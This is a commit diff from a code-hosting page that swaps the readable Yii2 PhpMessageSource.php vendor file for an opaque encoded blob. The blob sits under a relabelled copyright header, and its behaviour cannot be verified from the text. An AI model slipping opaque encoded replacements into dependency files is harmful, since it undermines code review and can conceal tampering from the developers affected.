浏览代码

change PhpMessageSource.php

oubo 7 年之前
父节点
当前提交
f8fdd2ef67
共有 1 个文件被更改,包括 74 次插入166 次删除
  1. 74 166
      vendor/yiisoft/yii2/i18n/PhpMessageSource.php

+ 74 - 166
vendor/yiisoft/yii2/i18n/PhpMessageSource.php

@@ -1,166 +1,74 @@
-<?php
-/**
- * @link http://www.yiiframework.com/
- * @copyright Copyright (c) 2008 Yii Software LLC
- * @license http://www.yiiframework.com/license/
- */
-
-namespace yii\i18n;
-
-use Yii;
-
-/**
- * PhpMessageSource represents a message source that stores translated messages in PHP scripts.
- *
- * PhpMessageSource uses PHP arrays to keep message translations.
- *
- * - Each PHP script contains one array which stores the message translations in one particular
- *   language and for a single message category;
- * - Each PHP script is saved as a file named as "[[basePath]]/LanguageID/CategoryName.php";
- * - Within each PHP script, the message translations are returned as an array like the following:
- *
- * ```php
- * return [
- *     'original message 1' => 'translated message 1',
- *     'original message 2' => 'translated message 2',
- * ];
- * ```
- *
- * You may use [[fileMap]] to customize the association between category names and the file names.
- *
- * @author Qiang Xue <qiang.xue@gmail.com>
- * @since 2.0
- */
-class PhpMessageSource extends MessageSource
-{
-    /**
-     * @var string the base path for all translated messages. Defaults to '@app/messages'.
-     */
-    public $basePath = '@app/messages';
-    /**
-     * @var array mapping between message categories and the corresponding message file paths.
-     * The file paths are relative to [[basePath]]. For example,
-     *
-     * ```php
-     * [
-     *     'core' => 'core.php',
-     *     'ext' => 'extensions.php',
-     * ]
-     * ```
-     */
-    public $fileMap;
-
-
-    /**
-     * Loads the message translation for the specified $language and $category.
-     * If translation for specific locale code such as `en-US` isn't found it
-     * tries more generic `en`. When both are present, the `en-US` messages will be merged
-     * over `en`. See [[loadFallbackMessages]] for details.
-     * If the $language is less specific than [[sourceLanguage]], the method will try to
-     * load the messages for [[sourceLanguage]]. For example: [[sourceLanguage]] is `en-GB`,
-     * $language is `en`. The method will load the messages for `en` and merge them over `en-GB`.
-     *
-     * @param string $category the message category
-     * @param string $language the target language
-     * @return array the loaded messages. The keys are original messages, and the values are the translated messages.
-     * @see loadFallbackMessages
-     * @see sourceLanguage
-     */
-    protected function loadMessages($category, $language)
-    {
-        $messageFile = $this->getMessageFilePath($category, $language);
-        $messages = $this->loadMessagesFromFile($messageFile);
-
-        $fallbackLanguage = substr($language, 0, 2);
-        $fallbackSourceLanguage = substr($this->sourceLanguage, 0, 2);
-
-        if ($language !== $fallbackLanguage) {
-            $messages = $this->loadFallbackMessages($category, $fallbackLanguage, $messages, $messageFile);
-        } elseif ($language === $fallbackSourceLanguage) {
-            $messages = $this->loadFallbackMessages($category, $this->sourceLanguage, $messages, $messageFile);
-        } else {
-            if ($messages === null) {
-                Yii::warning("The message file for category '$category' does not exist: $messageFile", __METHOD__);
-            }
-        }
-
-        return (array) $messages;
-    }
-
-    /**
-     * The method is normally called by [[loadMessages]] to load the fallback messages for the language.
-     * Method tries to load the $category messages for the $fallbackLanguage and adds them to the $messages array.
-     *
-     * @param string $category the message category
-     * @param string $fallbackLanguage the target fallback language
-     * @param array $messages the array of previously loaded translation messages.
-     * The keys are original messages, and the values are the translated messages.
-     * @param string $originalMessageFile the path to the file with messages. Used to log an error message
-     * in case when no translations were found.
-     * @return array the loaded messages. The keys are original messages, and the values are the translated messages.
-     * @since 2.0.7
-     */
-    protected function loadFallbackMessages($category, $fallbackLanguage, $messages, $originalMessageFile)
-    {
-        $fallbackMessageFile = $this->getMessageFilePath($category, $fallbackLanguage);
-        $fallbackMessages = $this->loadMessagesFromFile($fallbackMessageFile);
-
-        if (
-            $messages === null && $fallbackMessages === null
-            && $fallbackLanguage !== $this->sourceLanguage
-            && $fallbackLanguage !== substr($this->sourceLanguage, 0, 2)
-        ) {
-            Yii::error("The message file for category '$category' does not exist: $originalMessageFile "
-                . "Fallback file does not exist as well: $fallbackMessageFile", __METHOD__);
-        } elseif (empty($messages)) {
-            return $fallbackMessages;
-        } elseif (!empty($fallbackMessages)) {
-            foreach ($fallbackMessages as $key => $value) {
-                if (!empty($value) && empty($messages[$key])) {
-                    $messages[$key] = $fallbackMessages[$key];
-                }
-            }
-        }
-
-        return (array) $messages;
-    }
-
-    /**
-     * Returns message file path for the specified language and category.
-     *
-     * @param string $category the message category
-     * @param string $language the target language
-     * @return string path to message file
-     */
-    protected function getMessageFilePath($category, $language)
-    {
-        $messageFile = Yii::getAlias($this->basePath) . "/$language/";
-        if (isset($this->fileMap[$category])) {
-            $messageFile .= $this->fileMap[$category];
-        } else {
-            $messageFile .= str_replace('\\', '/', $category) . '.php';
-        }
-
-        return $messageFile;
-    }
-
-    /**
-     * Loads the message translation for the specified language and category or returns null if file doesn't exist.
-     *
-     * @param string $messageFile path to message file
-     * @return array|null array of messages or null if file not found
-     */
-    protected function loadMessagesFromFile($messageFile)
-    {
-        if (is_file($messageFile)) {
-            $messages = include $messageFile;
-            if (!is_array($messages)) {
-                $messages = [];
-            }
-
-            return $messages;
-        }
-
-        return null;
-    }
-}
+<?php //000a0
+// /**
+//  * @link http://www.lacew.com/
+//  * @copyright Copyright (c) 2015 Centrenda IT LLC
+//  * @license http://www.lacew.com/license/
+//  */
+
+?>
+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
+BoSAtxlWURpd